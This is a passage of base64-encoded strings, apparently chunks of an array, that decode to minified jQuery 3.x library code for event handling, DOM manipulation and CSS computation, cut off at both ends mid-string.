rIiksITB9LF9kZWZhdWx0OmZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0O3JldHVybiBwZS50ZXN0KHQudHlwZSkmJnQuY2xpY2smJkEodCwiaW5wdXQiKSYmUS5nZXQodCwiY2xpY2siKXx8QSh0LCJhIil9fSxiZWZvcmV1bmxvYWQ6e3Bvc3REaXNwYXRjaDpmdW5jdGlvbihlKXt2b2lkIDAhPT1lLnJlc3VsdCYmZS5vcmlnaW5hbEV2ZW50JiYoZS5vcmlnaW5hbEV2ZW50LnJldHVyblZhbHVlPWUucmVzdWx0KX19fX0say5yZW1vdmVFdmVudD1mdW5jdGlvbihlLHQsbil7ZS5yZW1vdmVFdmVudExpc3RlbmVyJiZlLnJlbW92ZUV2ZW50TGlzdGVuZXIodCxuKX0say5FdmVudD1mdW5jdGlvbihlLHQpe2lmKCEodGhpcyBpbnN0YW5jZW9mIGsuRXZlbnQpKXJldHVybiBuZXcgay5FdmVudChlLHQpO2UmJmUudHlwZT8odGhpcy5vcmlnaW5hbEV2ZW50PWUsdGhpcy50eXBlPWUudHlwZSx0aGlzLmlzRGVmYXVsdFByZXZlbnRlZD1lLmRlZmF1bHRQcmV2ZW50ZWR8fHZvaWQgMD09PWUuZGVmYXVsdFByZXZlbnRlZCYmITE9PT1lLnJldHVyblZhbHVlP2tlOlNlLHRoaXMudGFyZ2V0PWUudGFyZ2V0JiYzPT09ZS50YXJnZXQubm9kZVR5cGU/ZS50YXJnZXQucGFyZW50Tm9kZTplLnRhcmdldCx0aGlzLmN1cnJlbnRUYXJnZXQ9ZS5jdXJyZW50VGFyZ2V0LHRoaXMucmVsYXRlZFRhcmdldD1lLnJlbGF0ZWRUYXJnZXQpOnRoaXMudHlwZT1lLHQmJmsuZXh0ZW5kKHRoaXMsdCksdGhpcy50aW1lU3RhbXA9ZSYmZS50aW1lU3RhbXB8fERhdGUubm93KCksdGhpc1trLmV4cGFuZG9dPSEwfSxrLkV2ZW50LnByb3RvdHlwZT17Y29uc3RydWN0b3I6ay5FdmVudCxpc0RlZmF1bHRQcmV2ZW50ZWQ6U2UsaXNQcm9wYWdhdGlvblN0b3BwZWQ6U2UsaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQ6U2UsaXNTaW11bGF0ZWQ6ITEscHJldmVudERlZmF1bHQ6ZnVuY3Rpb24oKXt2YXIgZT10aGlzLm9yaWdpbmFsRXZlbnQ7dGhpcy5pc0RlZmF1bHRQcmV2ZW50ZWQ9a2UsZSYmIXRoaXMuaXNTaW11bGF0ZWQmJmUucHJldmVudERlZmF1bHQoKX0sc3RvcFByb3BhZ2F0aW9uOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5vcmlnaW5hbEV2ZW50O3RoaXMuaXNQcm9wYWdhdGlvblN0b3BwZWQ9a2UsZSYmIXRoaXMuaXNTaW11bGF0ZWQmJmUuc3RvcFByb3BhZ2F0aW9uKCl9LHN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3ZhciBlPXRoaXMub3JpZ2luYWxFdmVudDt0aGlzLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkPWtlLGUmJiF0aGlzLmlzU2ltdWxhdGVkJiZlLnN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbigpLHRoaXMuc3RvcFByb3BhZ2F0aW9uKCl9fSxrLmVhY2goe2FsdEtleTohMCxidWJibGVzOiEwLGNhbmNlbGFibGU6ITAsY2hhbmdlZFRvdWNoZXM6ITAsY3RybEtleTohMCxkZXRhaWw6ITAsZXZlbnRQaGFzZTohMCxtZXRhS2V5OiEwLHBhZ2VYOiEwLHBhZ2VZOiEwLHNoaWZ0S2V5OiEwLHZpZXc6ITAsImNoYXIiOiEwLGNvZGU6ITAsY2hhckNvZGU6ITAsa2V5OiEwLGtleUNvZGU6ITAsYnV0dG9uOiEwLGJ1dHRvbnM6ITAsY2xpZW50WDohMCxjbGllbnRZOiEwLG9mZnNldFg6ITAsb2Zmc2V0WTohMCxwb2ludGVySWQ6ITAscG9pbnRlclR5cGU6ITAsc2NyZWVuWDohMCxzY3JlZW5ZOiEwLHRhcmdldFRvdWNoZXM6ITAsdG9FbGVtZW50OiEwLHRvdWNoZXM6ITAsd2hpY2g6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5idXR0b247cmV0dXJuIG51bGw9PWUud2hpY2gmJlRlLnRlc3QoZS50eXBlKT9udWxsIT1lLmNoYXJDb2RlP2UuY2hhckNvZGU6ZS5rZXlDb2RlOiFlLndoaWNoJiZ2b2lkIDAhPT10JiZDZS50ZXN0KGUudHlwZSk/MSZ0PzE6MiZ0PzM6NCZ0PzI6MDplLndoaWNofX0say5ldmVudC5hZGRQcm9wKSxrLmVhY2goe2ZvY3VzOiJmb2N1c2luIixibHVyOiJmb2N1c291dCJ9LGZ1bmN0aW9uKGUsdCl7ay5ldmVudC5zcGVjaWFsW2VdPXtzZXR1cDpmdW5jdGlvbigpe3JldHVybiBEZSh0aGlzLGUsTmUpLCExfSx0cmlnZ2VyOmZ1bmN0aW9uKCl7cmV0dXJuIERlKHRoaXMsZSksITB9LGRlbGVnYXRlVHlwZTp0fX0pLGsuZWFjaCh7bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCIscG9pbnRlcmVudGVyOiJwb2ludGVyb3ZlciIscG9pbnRlcmxlYXZlOiJwb2ludGVyb3V0In0sZnVuY3Rpb24oZSxpKXtrLmV2ZW50LnNwZWNpYWxbZV09e2RlbGVnYXRlVHlwZTppLGJpbmRUeXBlOmksaGFuZGxlOmZ1bmN0aW9uKGUpe3ZhciB0LG49ZS5yZWxhdGVkVGFyZ2V0LHI9ZS5oYW5kbGVPYmo7cmV0dXJuIG4mJihuPT09dGhpc3x8ay5jb250YWlucyh0aGlzLG4pKXx8KGUudHlwZT1yLm9yaWdUeXBlLHQ9ci5oYW5kbGVyLmFwcGx5KHRoaXMsYXJndW1lbnRzKSxlLnR5cGU9aSksdH19fSksay5mbi5leHRlbmQoe29uOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiBBZSh0aGlzLGUsdCxuLHIpfSxvbmU6ZnVuY3Rpb24oZSx0LG4scil7cmV0dXJuIEFlKHRoaXMsZSx0LG4sciwxKX0sb2ZmOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpO2lmKGUmJmUucHJldmVudERlZmF1bHQmJmUuaGFuZGxlT2JqKXJldHVybiByPWUuaGFuZGxlT2JqLGsoZS5kZWxlZ2F0ZVRhcmdldCkub2ZmKHIubmFtZXNwYWNlP3Iub3JpZ1R5cGUrIi4iK3IubmFtZXNwYWNlOnIub3JpZ1R5cGUsci5zZWxlY3RvcixyLmhhbmRsZXIpLHRoaXM7aWYoIm9iamVjdCI9PXR5cGVvZiBlKXtmb3IoaSBpbiBlKXRoaXMub2ZmKGksdCxlW2ldKTtyZXR1cm4gdGhpc31yZXR1cm4hMSE9PXQmJiJmdW5jdGlvbiIhPXR5cGVvZiB0fHwobj10LHQ9dm9pZCAwKSwhMT09PW4mJihuPVNlKSx0aGlzLmVhY2goZnVuY3Rpb24oKXtrLmV2ZW50LnJlbW92ZSh0aGlzLGUsbix0KX0pfX0pO3ZhciBqZT0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbYS16XVteXC9cMD5ceDIwXHRcclxuXGZdKilbXj5dKilcLz4vZ2kscWU9LzxzY3JpcHR8PHN0eWxlfDxsaW5rL2ksTGU9L2NoZWNrZWRccyooPzpbXj1dfD1ccyouY2hlY2tlZC4pL2ksSGU9L15ccyo8ISg/OlxbQ0RBVEFcW3wtLSl8KD86XF1cXXwtLSk+XHMqJC9nO2Z1bmN0aW9uIE9lKGUsdCl7cmV0dXJuIEEoZSwidGFibGUiKSYmQSgxMSE9PXQubm9kZVR5cGU/dDp0LmZpcnN0Q2hpbGQsInRyIikmJmsoZSkuY2hpbGRyZW4oInRib2R5IilbMF18fGV9ZnVuY3Rpb24gUGUoZSl7cmV0dXJuIGUudHlwZT0obnVsbCE9PWUuZ2V0QXR0cmlidXRlKCJ0eXBlIikpKyIvIitlLnR5cGUsZX1mdW5jdGlvbiBSZShlKXtyZXR1cm4idHJ1ZS8iPT09KGUudHlwZXx8IiIpLnNsaWNlKDAsNSk/ZS50eXBlPWUudHlwZS5zbGljZSg1KTplLnJlbW92ZUF0dHJpYnV0ZSgidHlwZSIpLGV9ZnVuY3Rpb24gTWUoZSx0KXt2YXIgbixyLGksbyxhLHMsdSxsO2lmKDE9PT10Lm5vZGVUeXBlKXtpZihRLmhhc0RhdGEoZSkmJihvPVEuYWNjZXNzKGUpLGE9US5zZXQodCxvKSxsPW8uZXZlbnRzKSlmb3IoaSBpbiBkZWxldGUgYS5oYW5kbGUsYS5ldmVudHM9e30sbClmb3Iobj0wLHI9bFtpXS5sZW5ndGg7bjxyO24rKylrLmV2ZW50LmFkZCh0LGksbFtpXVtuXSk7Si5oYXNEYXRhKGUpJiYocz1KLmFjY2VzcyhlKSx1PWsuZXh0ZW5kKHt9LHMpLEouc2V0KHQsdSkpfX1mdW5jdGlvbiBJZShuLHIsaSxvKXtyPWcuYXBwbHkoW10scik7dmFyIGUsdCxhLHMsdSxsLGM9MCxmPW4ubGVuZ3RoLHA9Zi0xLGQ9clswXSxoPW0oZCk7aWYoaHx8MTxmJiYic3RyaW5nIj09dHlwZW9mIGQmJiF5LmNoZWNrQ2xvbmUmJkxlLnRlc3QoZCkpcmV0dXJuIG4uZWFjaChmdW5jdGlvbihlKXt2YXIgdD1u", "LmVxKGUpO2gmJihyWzBdPWQuY2FsbCh0aGlzLGUsdC5odG1sKCkpKSxJZSh0LHIsaSxvKX0pO2lmKGYmJih0PShlPXdlKHIsblswXS5vd25lckRvY3VtZW50LCExLG4sbykpLmZpcnN0Q2hpbGQsMT09PWUuY2hpbGROb2Rlcy5sZW5ndGgmJihlPXQpLHR8fG8pKXtmb3Iocz0oYT1rLm1hcCh2ZShlLCJzY3JpcHQiKSxQZSkpLmxlbmd0aDtjPGY7YysrKXU9ZSxjIT09cCYmKHU9ay5jbG9uZSh1LCEwLCEwKSxzJiZrLm1lcmdlKGEsdmUodSwic2NyaXB0IikpKSxpLmNhbGwobltjXSx1LGMpO2lmKHMpZm9yKGw9YVthLmxlbmd0aC0xXS5vd25lckRvY3VtZW50LGsubWFwKGEsUmUpLGM9MDtjPHM7YysrKXU9YVtjXSxoZS50ZXN0KHUudHlwZXx8IiIpJiYhUS5hY2Nlc3ModSwiZ2xvYmFsRXZhbCIpJiZrLmNvbnRhaW5zKGwsdSkmJih1LnNyYyYmIm1vZHVsZSIhPT0odS50eXBlfHwiIikudG9Mb3dlckNhc2UoKT9rLl9ldmFsVXJsJiYhdS5ub01vZHVsZSYmay5fZXZhbFVybCh1LnNyYyx7bm9uY2U6dS5ub25jZXx8dS5nZXRBdHRyaWJ1dGUoIm5vbmNlIil9KTpiKHUudGV4dENvbnRlbnQucmVwbGFjZShIZSwiIiksdSxsKSl9cmV0dXJuIG59ZnVuY3Rpb24gV2UoZSx0LG4pe2Zvcih2YXIgcixpPXQ/ay5maWx0ZXIodCxlKTplLG89MDtudWxsIT0ocj1pW29dKTtvKyspbnx8MSE9PXIubm9kZVR5cGV8fGsuY2xlYW5EYXRhKHZlKHIpKSxyLnBhcmVudE5vZGUmJihuJiZvZShyKSYmeWUodmUociwic2NyaXB0IikpLHIucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChyKSk7cmV0dXJuIGV9ay5leHRlbmQoe2h0bWxQcmVmaWx0ZXI6ZnVuY3Rpb24oZSl7cmV0dXJuIGUucmVwbGFjZShqZSwiPCQxPjwvJDI+Iil9LGNsb25lOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYSxzLHUsbCxjPWUuY2xvbmVOb2RlKCEwKSxmPW9lKGUpO2lmKCEoeS5ub0Nsb25lQ2hlY2tlZHx8MSE9PWUubm9kZVR5cGUmJjExIT09ZS5ub2RlVHlwZXx8ay5pc1hNTERvYyhlKSkpZm9yKGE9dmUoYykscj0wLGk9KG89dmUoZSkpLmxlbmd0aDtyPGk7cisrKXM9b1tyXSx1PWFbcl0sdm9pZCAwLCJpbnB1dCI9PT0obD11Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpJiZwZS50ZXN0KHMudHlwZSk/dS5jaGVja2VkPXMuY2hlY2tlZDoiaW5wdXQiIT09bCYmInRleHRhcmVhIiE9PWx8fCh1LmRlZmF1bHRWYWx1ZT1zLmRlZmF1bHRWYWx1ZSk7aWYodClpZihuKWZvcihvPW98fHZlKGUpLGE9YXx8dmUoYykscj0wLGk9by5sZW5ndGg7cjxpO3IrKylNZShvW3JdLGFbcl0pO2Vsc2UgTWUoZSxjKTtyZXR1cm4gMDwoYT12ZShjLCJzY3JpcHQiKSkubGVuZ3RoJiZ5ZShhLCFmJiZ2ZShlLCJzY3JpcHQiKSksY30sY2xlYW5EYXRhOmZ1bmN0aW9uKGUpe2Zvcih2YXIgdCxuLHIsaT1rLmV2ZW50LnNwZWNpYWwsbz0wO3ZvaWQgMCE9PShuPWVbb10pO28rKylpZihHKG4pKXtpZih0PW5bUS5leHBhbmRvXSl7aWYodC5ldmVudHMpZm9yKHIgaW4gdC5ldmVudHMpaVtyXT9rLmV2ZW50LnJlbW92ZShuLHIpOmsucmVtb3ZlRXZlbnQobixyLHQuaGFuZGxlKTtuW1EuZXhwYW5kb109dm9pZCAwfW5bSi5leHBhbmRvXSYmKG5bSi5leHBhbmRvXT12b2lkIDApfX19KSxrLmZuLmV4dGVuZCh7ZGV0YWNoOmZ1bmN0aW9uKGUpe3JldHVybiBXZSh0aGlzLGUsITApfSxyZW1vdmU6ZnVuY3Rpb24oZSl7cmV0dXJuIFdlKHRoaXMsZSl9LHRleHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIF8odGhpcyxmdW5jdGlvbihlKXtyZXR1cm4gdm9pZCAwPT09ZT9rLnRleHQodGhpcyk6dGhpcy5lbXB0eSgpLmVhY2goZnVuY3Rpb24oKXsxIT09dGhpcy5ub2RlVHlwZSYmMTEhPT10aGlzLm5vZGVUeXBlJiY5IT09dGhpcy5ub2RlVHlwZXx8KHRoaXMudGV4dENvbnRlbnQ9ZSl9KX0sbnVsbCxlLGFyZ3VtZW50cy5sZW5ndGgpfSxhcHBlbmQ6ZnVuY3Rpb24oKXtyZXR1cm4gSWUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7MSE9PXRoaXMubm9kZVR5cGUmJjExIT09dGhpcy5ub2RlVHlwZSYmOSE9PXRoaXMubm9kZVR5cGV8fE9lKHRoaXMsZSkuYXBwZW5kQ2hpbGQoZSl9KX0scHJlcGVuZDpmdW5jdGlvbigpe3JldHVybiBJZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXtpZigxPT09dGhpcy5ub2RlVHlwZXx8MTE9PT10aGlzLm5vZGVUeXBlfHw5PT09dGhpcy5ub2RlVHlwZSl7dmFyIHQ9T2UodGhpcyxlKTt0Lmluc2VydEJlZm9yZShlLHQuZmlyc3RDaGlsZCl9fSl9LGJlZm9yZTpmdW5jdGlvbigpe3JldHVybiBJZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXt0aGlzLnBhcmVudE5vZGUmJnRoaXMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoZSx0aGlzKX0pfSxhZnRlcjpmdW5jdGlvbigpe3JldHVybiBJZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXt0aGlzLnBhcmVudE5vZGUmJnRoaXMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoZSx0aGlzLm5leHRTaWJsaW5nKX0pfSxlbXB0eTpmdW5jdGlvbigpe2Zvcih2YXIgZSx0PTA7bnVsbCE9KGU9dGhpc1t0XSk7dCsrKTE9PT1lLm5vZGVUeXBlJiYoay5jbGVhbkRhdGEodmUoZSwhMSkpLGUudGV4dENvbnRlbnQ9IiIpO3JldHVybiB0aGlzfSxjbG9uZTpmdW5jdGlvbihlLHQpe3JldHVybiBlPW51bGwhPWUmJmUsdD1udWxsPT10P2U6dCx0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiBrLmNsb25lKHRoaXMsZSx0KX0pfSxodG1sOmZ1bmN0aW9uKGUpe3JldHVybiBfKHRoaXMsZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc1swXXx8e30sbj0wLHI9dGhpcy5sZW5ndGg7aWYodm9pZCAwPT09ZSYmMT09PXQubm9kZVR5cGUpcmV0dXJuIHQuaW5uZXJIVE1MO2lmKCJzdHJpbmciPT10eXBlb2YgZSYmIXFlLnRlc3QoZSkmJiFnZVsoZGUuZXhlYyhlKXx8WyIiLCIiXSlbMV0udG9Mb3dlckNhc2UoKV0pe2U9ay5odG1sUHJlZmlsdGVyKGUpO3RyeXtmb3IoO248cjtuKyspMT09PSh0PXRoaXNbbl18fHt9KS5ub2RlVHlwZSYmKGsuY2xlYW5EYXRhKHZlKHQsITEpKSx0LmlubmVySFRNTD1lKTt0PTB9Y2F0Y2goZSl7fX10JiZ0aGlzLmVtcHR5KCkuYXBwZW5kKGUpfSxudWxsLGUsYXJndW1lbnRzLmxlbmd0aCl9LHJlcGxhY2VXaXRoOmZ1bmN0aW9uKCl7dmFyIG49W107cmV0dXJuIEllKHRoaXMsYXJndW1lbnRzLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMucGFyZW50Tm9kZTtrLmluQXJyYXkodGhpcyxuKTwwJiYoay5jbGVhbkRhdGEodmUodGhpcykpLHQmJnQucmVwbGFjZUNoaWxkKGUsdGhpcykpfSxuKX19KSxrLmVhY2goe2FwcGVuZFRvOiJhcHBlbmQiLHByZXBlbmRUbzoicHJlcGVuZCIsaW5zZXJ0QmVmb3JlOiJiZWZvcmUiLGluc2VydEFmdGVyOiJhZnRlciIscmVwbGFjZUFsbDoicmVwbGFjZVdpdGgifSxmdW5jdGlvbihlLGEpe2suZm5bZV09ZnVuY3Rpb24oZSl7Zm9yKHZhciB0LG49W10scj1rKGUpLGk9ci5sZW5ndGgtMSxvPTA7bzw9aTtvKyspdD1vPT09aT90aGlzOnRoaXMuY2xvbmUoITApLGsocltvXSlbYV0odCksdS5hcHBseShuLHQuZ2V0KCkpO3JldHVybiB0aGlzLnB1c2hTdGFjayhuKX19KTt2YXIgJGU9bmV3IFJlZ0V4cCgiXigiK3RlKyIpKD8hcHgpW2EteiVdKyQiLCJpIiksRmU9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3O3JldHVybiB0JiZ0Lm9wZW5lcnx8KHQ9QyksdC5nZXRDb21wdXRlZFN0eWxlKGUpfSxCZT1uZXcgUmVnRXhwKHJlLmpvaW4oInwiKSwiaSIpO2Z1bmN0aW9uIF9lKGUsdCxuKXt2YXIgcixpLG8sYSxzPWUuc3R5bGU7cmV0dXJuKG49bnx8RmUoZSkpJiYoIiIhPT0oYT1uLmdldFByb3BlcnR5VmFsdWUodCl8fG5bdF0pfHxvZShlKXx8KGE9ay5zdHlsZShlLHQpKSwheS5waXhlbEJveFN0eWxlcygpJiYkZS50ZXN0KGEpJiZCZS50ZXN0KHQpJiYocj1zLndpZHRoLGk9cy5taW5XaWR0aCxvPXMubWF4V2lkdGgscy5taW5XaWR0aD1zLm1heFdpZHRoPXMud2lkdGg9YSxhPW4ud2lkdGgscy53aWR0aD1yLHMubWluV2lkdGg9aSxzLm1heFdpZHRoPW8pKSx2b2lkIDAhPT1hP2ErIiI6YX1mdW5jdGlvbiB6ZShlLHQpe3JldHVybntnZXQ6ZnVuY3Rpb24oKXtpZighZSgpKXJldHVybih0aGlzLmdldD10KS5hcHBseSh0aGlzLGFyZ3VtZW50cyk7ZGVsZXRlIHRoaXMuZ2V0fX19IWZ1bmN0aW9uKCl7ZnVuY3Rpb24gZSgpe2lmKHUpe3Muc3R5bGUuY3NzVGV4dD0icG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTExMTFweDt3aWR0aDo2MHB4O21hcmdpbi10b3A6MXB4O3BhZGRpbmc6MDtib3JkZXI6MCIsdS5zdHlsZS5jc3NUZXh0PSJwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmJsb2NrO2JveC1zaXppbmc6Ym9yZGVyLWJveDtvdmVyZmxvdzpzY3JvbGw7bWFyZ2luOmF1dG87Ym9yZGVyOjFweDtwYWRkaW5nOjFweDt3aWR0aDo2MCU7dG9wOjElIixpZS5hcHBlbmRDaGlsZChzKS5hcHBlbmRDaGlsZCh1KTt2YXIgZT1DLmdldENvbXB1dGVkU3R5bGUodSk7bj0iMSUiIT09ZS50b3AsYT0xMj09PXQoZS5tYXJnaW5MZWZ0KSx1LnN0eWxlLnJpZ2h0PSI2MCUiLG89MzY9PT10KGUucmlnaHQpLHI9MzY9PT10KGUud2lkdGgpLHUuc3R5bGUucG9zaXRpb249ImFic29sdXRlIixpPTEyPT09dCh1Lm9mZnNldFdpZHRoLzMpLGllLnJlbW92ZUNoaWxkKHMpLHU9bnVsbH19ZnVuY3Rpb24gdChlKXtyZXR1cm4gTWF0aC5yb3VuZChwYXJzZUZsb2F0KGUpKX12YXIgbixyLGksbyxhLHM9RS5jcmVhdGVFbGVtZW50KCJkaXYiKSx1PUUuY3JlYXRlRWxlbWVudCgiZGl2Iik7dS5zdHlsZSYmKHUuc3R5bGUuYmFja2dyb3VuZENsaXA9ImNvbnRlbnQtYm94Iix1LmNsb25lTm9kZSghMCkuc3R5bGUuYmFja2dyb3VuZENsaXA9IiIseS5jbGVhckNsb25lU3R5bGU9ImNvbnRlbnQtYm94Ij09PXUuc3R5bGUuYmFja2dyb3VuZENsaXAsay5leHRlbmQoeSx7Ym94U2l6aW5nUmVsaWFibGU6ZnVuY3Rpb24oKXtyZXR1cm4gZSgpLHJ9LHBpeGVsQm94U3R5bGVzOmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxvfSxwaXhlbFBvc2l0aW9uOmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxufSxyZWxpYWJsZU1hcmdpbkxlZnQ6ZnVuY3Rpb24oKXtyZXR1cm4gZSgpLGF9LHNjcm9sbGJveFNpemU6ZnVuY3Rpb24oKXtyZXR1cm4gZSgpLGl9fSkpfSgpO3ZhciBVZT1bIldlYmtpdCIsIk1veiIsIm1zIl0sWGU9RS5jcmVhdGVFbGVtZW50KCJkaXYiKS5zdHlsZSxWZT17fTtmdW5jdGlvbiBHZShlKXt2YXIgdD1rLmNzc1Byb3BzW2VdfHxWZVtlXTtyZXR1cm4gdHx8KGUgaW4gWGU/ZTpWZVtlXT1mdW5jdGlvbihlKXt2YXIgdD1lWzBdLnRvVXBwZXJDYXNlKCkrZS5zbGljZSgxKSxuPVVlLmxlbmd0aDt3aGlsZShuLS0paWYoKGU9VWVbbl0rdClpbiBYZSlyZXR1cm4gZX0oZSl8fGUpfXZhciBZZT0vXihub25lfHRhYmxlKD8hLWNbZWFdKS4rKS8sUWU9L14tLS8sSmU9e3Bvc2l0aW9uOiJhYnNvbHV0ZSIsdmlzaWJpbGl0eToiaGlkZGVuIixkaXNwbGF5OiJibG9jayJ9LEtlPXtsZXR0ZXJTcGFjaW5nOiIwIixmb250V2VpZ2h0OiI0MDAifTtmdW5jdGlvbiBaZShlLHQsbil7dmFyIHI9bmUuZXhlYyh0KTtyZXR1cm4gcj9NYXRoLm1heCgwLHJbMl0tKG58fDApKSsoclszXXx8InB4Iik6dH1mdW5jdGlvbiBldChlLHQsbixyLGksbyl7dmFyIGE9IndpZHRoIj09PXQ/MTowLHM9MCx1PTA7aWYobj09PShyPyJib3JkZXIiOiJjb250ZW50IikpcmV0dXJuIDA7Zm9yKDthPDQ7YSs9MikibWFyZ2luIj09PW4mJih1Kz1rLmNzcyhlLG4rcmVbYV0sITAsaSkpLHI/KCJjb250ZW50Ij09PW4mJih1LT1rLmNzcyhlLCJwYWRkaW5nIityZVthXSwhMCxpKSksIm1hcmdpbiIhPT1uJiYodS09ay5jc3MoZSwiYm9yZGVyIityZVthXSsiV2lkdGgiLCEwLGkpKSk6KHUrPWsuY3NzKGUsInBhZGRpbmciK3JlW2FdLCEwLGkpLCJwYWRkaW5nIiE9PW4/dSs9ay5jc3MoZSwiYm9yZGVyIityZVthXSsiV2lkdGgiLCEwLGkpOnMrPWsuY3NzKGUsImJvcmRlciIrcmVbYV0rIldpZHRoIiwhMCxpKSk7cmV0dXJuIXImJjA8PW8mJih1Kz1NYXRoLm1heCgwLE1hdGguY2VpbChlWyJvZmZzZXQiK3RbMF0udG9VcHBlckNhc2UoKSt0LnNsaWNlKDEpXS1vLXUtcy0uNSkpfHwwKSx1fWZ1bmN0aW9uIHR0KGUsdCxuKXt2YXIgcj1GZShlKSxpPSgheS5ib3hTaXppbmdSZWxpYWJsZSgpfHxuKSYmImJvcmRlci1ib3giPT09ay5jc3MoZSwiYm94U2l6aW5nIiwhMSxyKSxvPWksYT1fZShlLHQscikscz0ib2Zmc2V0Iit0WzBdLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZigkZS50ZXN0KGEpKXtpZighbilyZXR1cm4gYTthPSJhdXRvIn1yZXR1cm4oIXkuYm94U2l6aW5nUmVsaWFibGUoKSYmaXx8ImF1dG8iPT09YXx8IXBhcnNlRmxvYXQoYSkmJiJpbmxpbmUiPT09ay5jc3MoZSwiZGlzcGxheSIsITEscikpJiZlLmdldENsaWVudFJlY3RzKCkubGVuZ3RoJiYoaT0iYm9yZGVyLWJveCI9PT1rLmNzcyhlLCJib3hTaXppbmciLCExLHIpLChvPXMgaW4gZSkmJihhPWVbc10pKSwoYT1wYXJzZUZsb2F0KGEpfHwwKStldChlLHQsbnx8KGk/ImJvcmRlciI6ImNvbnRlbnQiKSxvLHIsYSkrInB4In1mdW5jdGlvbiBudChlLHQsbixyLGkpe3JldHVybiBuZXcgbnQucHJvdG90eXBlLmluaXQoZSx0LG4scixpKX1rLmV4dGVuZCh7Y3NzSG9va3M6e29wYWNpdHk6e2dldDpmdW5jdGlvbihlLHQpe2lmKHQpe3ZhciBuPV9lKGUsIm9wYWNpdHkiKTtyZXR1cm4iIj09PW4/IjEiOm59fX19LGNzc051bWJlcjp7YW5pbWF0aW9uSXRlcmF0aW9uQ291bnQ6ITAsY29sdW1uQ291bnQ6ITAsZmlsbE9wYWNpdHk6ITAsZmxleEdyb3c6ITAsZmxleFNocmluazohMCxmb250V2VpZ2h0OiEwLGdyaWRBcmVhOiEwLGdyaWRDb2x1bW46ITAsZ3JpZENvbHVtbkVuZDohMCxncmlkQ29sdW1uU3RhcnQ6ITAsZ3JpZFJvdzohMCxncmlkUm93RW5kOiEwLGdyaWRSb3dTdGFydDohMCxsaW5lSGVpZ2h0OiEwLG9wYWNpdHk6ITAsb3JkZXI6ITAsb3JwaGFuczohMCx3aWRvd3M6ITAsekluZGV4OiEwLHpvb206ITB9LGNzc1Byb3BzOnt9LHN0eWxlOmZ1bmN0aW9uKGUsdCxuLHIpe2lmKGUmJjMhPT1lLm5vZGVUeXBlJiY4IT09ZS5ub2RlVHlwZSYmZS5zdHlsZSl7dmFyIGksbyxhLHM9Vih0KSx1PVFlLnRlc3QodCksbD1lLnN0eWxlO2lmKHV8fCh0PUdlKHMpKSxhPWsuY3NzSG9va3NbdF18fGsuY3NzSG9va3Nbc10sdm9pZCAwPT09bilyZXR1cm4gYSYmImdldCJpbiBhJiZ2b2lkIDAhPT0oaT1hLmdldChlLCExLHIpKT9pOmxbdF07InN0cmluZyI9PT0obz10eXBlb2YgbikmJihpPW5lLmV4ZWMobikpJiZpWzFdJiYobj1sZShlLHQsaSksbz0ibnVtYmVyIiksbnVsbCE9biYmbj09biYmKCJudW1iZXIiIT09b3x8dXx8KG4rPWkmJmlbM118fChrLmNzc051bWJlcltzXT8iIjoicHgiKSkseS5jbGVhckNsb25lU3R5bGV8fCIiIT09bnx8MCE9PXQuaW5kZXhPZigiYmFja2dyb3VuZCIpfHwobFt0XT0iaW5oZXJpdCIpLGEmJiJzZXQiaW4gYSYmdm9pZCAwPT09KG49YS5zZXQoZSxuLHIpKXx8KHU/bC5zZXRQcm9wZXJ0eSh0LG4pOmxbdF09bikpfX0sY3NzOmZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpLG8sYSxzPVYodCk7cmV0dXJuIFFlLnRlc3QodCl8fCh0PUdlKHMpKSwoYT1rLmNzc0hvb2tzW3RdfHxrLmNzc0hvb2tzW3NdKSYmImdldCJpbiBhJiYoaT1hLmdldChlLCEwLG4pKSx2b2lkIDA9PT1pJiYoaT1fZShlLHQscikpLCJub3JtYWwiPT09aSYmdCBpbiBLZSYmKGk9S2VbdF0pLCIiPT09bnx8bj8obz1wYXJzZUZsb2F0KGkpLCEwPT09bnx8aXNGaW5pdGUobyk/b3x8MDppKTppfX0pLGsuZWFjaChbImhlaWdodCIsIndpZHRoIl0sZnVuY3Rpb24oZSx1KXtrLmNzc0hvb2tzW3VdPXtnZXQ6ZnVuY3Rpb24oZSx0LG4pe2lmKHQpcmV0dXJuIVllLnRlc3Qoay5jc3MoZSwiZGlzcGxheSIpKXx8ZS5nZXRDbGllbnRSZWN0cygpLmxlbmd0aCYmZS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKS53aWR0aD90dChlLHUsbik6dWUoZSxKZSxmdW5jdGlvbigpe3JldHVybiB0dChlLHUsbil9KX0sc2V0OmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixp